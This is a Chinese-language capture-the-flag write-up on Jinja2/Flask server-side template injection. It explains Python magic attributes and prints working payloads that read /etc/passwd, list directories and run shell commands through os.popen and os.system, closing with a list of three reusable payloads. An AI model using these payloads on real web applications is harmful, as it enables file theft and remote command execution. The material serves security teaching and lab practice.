Web_python_template_injection(Python模块注入)

简介: Web_python_template_injection(Python模块注入)

打开链接,提示是Python的模块注入

我们先了解一些基本概念:


模板引擎可以让(网站)程序实现界面与数据分离,业务代码与逻辑代码的分离,这大大提升了开发效率,良好的设计也使得代码重用变得更加容易,但是模板引擎也拓宽了我们的攻击面,注入到模板中的代码可能会引发RCE或者XSS。


在Jinja2模板引擎中,{{}}是变量包裹标识符。{{}}并不仅仅可以传递变量,还可以执行一些简单的表达式。


flask是使用Jinja2来作为渲染引擎的,网站根目录下的templates文件夹是用来存放html文件,即模板文件。flask的渲染方法有render_template和render_template_string两种,render_template()是用来渲染一个指定的文件的,render_template_string则是用来渲染一个字符串的,不正确的使用flask中的render_template_string方法会引发SSTI。


在使用flask/jinja2 的模板渲染函数 render_template_string 的同时,使用%s 来替换字符串的时候,会把字符串中被{{}}包围内容当作变量解析。


模板文件并不是单纯的html代码,而是夹杂着模板的语法,因为页面不可能都是一个样子的,有一些地方是会变化的。


首先我们检测一下是否存在模板注入


{{10+20}}

可以看到确实被执行了

还是先介绍一些知识


几种常用于ssti的魔术方法:


__class__  返回类型所属的对象


__mro__    返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析


__base__   返回该对象所继承的基类


(__base__和__mro__都是用来寻找基类的)


__subclasses__   每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表


__init__  类的初始化方法


__globals__  对包含函数全局变量的字典的引用


__builtins__  builtins就是引用


Python程序一旦启动,它就会在程序员所写的代码没有运行之前就已经被加载到内存中了,而对于builtins却不用导入,它在任何模块都直接可见,所以可以直接调用引用的模块。


在python 里 [] 表示空列表,()表示空元组,{}表示空字典 对字典、列表、元祖的

取值均使用变量名 x[index or key] 的形式。


获取基类的几种方法:

[].__class__.__base__


''.__class__.__mro__[2]


().__class__.__base__


{}.__class__.__base__


request.__class__.__mro__[8]   


[].__class__.__bases__[0]  


获取基本类的子类

[].__class__.__base__.__subclasses__()


我们可以利用的方法有<type 'file'>等(甚至file一般是第40号)


().__class__.__base__.__subclasses__()[40]('/etc/passwd').read()


首先我们查找Object类 {{''.__class__.__mro__[?]}}


发现 {{''.__class__.__mro__[2]}} 是Object类

寻找可用引用 {{''.__class__.__mro__[2].__subclasses__()}}

可以看到有一个type file类型(可以进行文件读取)


尝试利用file类读取文件


[40]是tupe file类型出现位置,前面共有40个逗号,是第四十一个,索引值为 40 , 索引从0开始


{{[].__class__.__base__.__subclasses__()[40]('/etc/passwd').read()}}

能够正常回显,说明file类执行正常。

试着读取 /flag 类似的文件,服务器返回500,因为不知道具体文件名

但这里还有一个 <class ‘site._Printer’>类型(可以进行命令执行)


{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].listdir('.')}}

[71]为<class ‘site._Printer’>出现位置

知道文件名后我们读取flag

(采用os模块的listdir函数来读取目录,可以配合file来实现任意文件读取)

{{''.__class__.__mro__[2].__subclasses__()[40]('fl4g').read()}}

ctf{f22b6844-5169-4054-b2a0-d95b9361cb57}


三个常用payload:


''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('catfl4g').read()



''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].system('ls')



''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()

目录
相关文章
|
8天前
|
Python
在Python中,可以使用内置的`re`模块来处理正则表达式
在Python中,可以使用内置的`re`模块来处理正则表达式
20 5
|
18天前
|
Java 程序员 开发者
Python的gc模块
Python的gc模块
|
21天前
|
数据采集 Web App开发 JavaScript
python-selenium模块详解!!!
Selenium 是一个强大的自动化测试工具,支持 Python 调用浏览器进行网页抓取。本文介绍了 Selenium 的安装、基本使用、元素定位、高级操作等内容。主要内容包括:发送请求、加载网页、元素定位、处理 Cookie、无头浏览器设置、页面等待、窗口和 iframe 切换等。通过示例代码帮助读者快速掌握 Selenium 的核心功能。
62 5
|
24天前
|
Python
SciPy 教程 之 SciPy 模块列表 6
SciPy教程之常量模块介绍:涵盖公制、二进制(字节)、质量、角度、时间、长度、压强、体积、速度、温度、能量、功率及力学单位。示例展示了角度单位转换为弧度的几个常用常量。
19 7
|
24天前
|
Python
SciPy 教程 之 SciPy 模块列表 7
`scipy.constants` 模块提供了常用的时间单位转换为秒数的功能。例如,`constants.hour` 返回 3600.0 秒,表示一小时的秒数。其他常用时间单位包括分钟、天、周、年和儒略年。
17 6
|
21天前
|
Python
SciPy 教程 之 SciPy 模块列表 13
SciPy教程之SciPy模块列表13:单位类型。常量模块包含多种单位,如公制、二进制(字节)、质量、角度、时间、长度、压强、体积、速度、温度、能量、功率和力学单位。示例代码展示了如何使用`constants`模块获取零摄氏度对应的开尔文值(273.15)和华氏度与摄氏度的转换系数(0.5556)。
17 1
|
22天前
|
XML 前端开发 数据格式
超级详细的python中bs4模块详解
Beautiful Soup 是一个用于从网页中抓取数据的 Python 库,提供了简单易用的函数来处理导航、搜索和修改分析树。支持多种解析器,如 Python 标准库中的 HTML 解析器和更强大的 lxml 解析器。通过简单的代码即可实现复杂的数据抓取任务。本文介绍了 Beautiful Soup 的安装、基本使用、对象类型、文档树遍历和搜索方法,以及 CSS 选择器的使用。
53 1
|
23天前
|
Python
SciPy 教程 之 SciPy 模块列表 9
SciPy教程之常量模块介绍,涵盖多种单位类型,如公制、质量、角度、时间、长度、压强等。示例展示了如何使用`scipy.constants`模块查询不同压强单位对应的帕斯卡值,包括atm、bar、torr、mmHg和psi。
14 1
|
23天前
|
Python
SciPy 教程 之 SciPy 模块列表 8
SciPy教程之常量模块单位类型介绍。该模块包含多种单位,如公制、质量、角度、时间、长度、压强、体积、速度、温度、能量、功率和力学单位。示例展示了部分长度单位的转换值,例如英寸、英尺、海里等。
15 1
|
25天前
|
知识图谱 Python
SciPy 教程 之 SciPy 模块列表 5
本教程介绍SciPy常量模块中的单位类型,涵盖公制、质量、时间、长度等单位。示例代码展示了如何使用`scipy.constants`模块获取不同质量单位的千克值,如公吨、磅、盎司、原子质量单位等。
15 1